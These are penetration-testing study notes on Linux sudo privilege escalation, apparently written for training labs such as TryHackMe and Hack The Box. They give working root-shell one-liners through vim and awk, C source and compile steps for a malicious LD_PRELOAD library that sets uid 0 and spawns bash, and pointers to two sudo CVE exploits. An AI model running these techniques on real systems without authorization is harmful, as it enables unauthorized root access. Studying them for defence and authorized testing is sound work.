Sudo

Sudo Shell Escaping

• sudo -l will show us commands delegated to our user. See example of possible output below
• With the result of the command we can then check out on GTFOBins for comprehensive ways to escalate

Vim

• Vim on Gtfobins the section of interest for us here is the following one:
• Let's try this command sudo vim -c ':!/bin/sh'

• It works right away

awk

• Awk on GTFOBins the section of interest for us here is the following one:
• So let's try this sudo awk 'BEGIN {system("/bin/sh")}'

• It works

Intended Functionality

Example with Apache2

• sudo -l we should see this: (root) NOPASSWD: /usr/sbin/apache2

• Note: There are no entry on GTFOBins about apache2 but Google can do the trick ;) We could type something like "sudo apache2 privilege escalation"

• Then we find an article that mentions this command to let us view system files.

Example with wget

• See here an example with wget on veteransec's writeup of the HTB box called sunday.

LD_PRELOAD

• sudo -l we should see something like this env_keep+=LD_PRELOAD

• We are going to preload a user specific share library before any other share libraries

• We need to write our malicious library that will privesc for us by changing our gid and uid to 0 (root). We put this code in a file named x.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

• now we need to compile our library with gcc gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

• And now we need to set it as our user's preloaded library sudo LD_PRELOAD=/tmp/x.so apache2

• We should be root

CVE-2019-14287

• CVE-2019-14287 on exploit-db

• This vulnerability allows us to change our user id, we need to have some sudo rights delegated to us this works very well with right on /bin/bash

• Checkout here a writeup of an example of exploitation

CVE-2019-18634

• CVE-2019-18634 exploit by saleemrashid

• This one is a buffer overflow

• If we see that we have password feedback on (we can try any sudo command to check for this), it means that the option pwfeedback is turned on in /etc/sudoers and that makes it vulnerable to buffer overflow

• We basically just need to run the provided exploit. Pour pratice on this check out this box on trhyhackme

Resources

Linux Privilege Escalation

Linux Privesc on TCM-Security Academy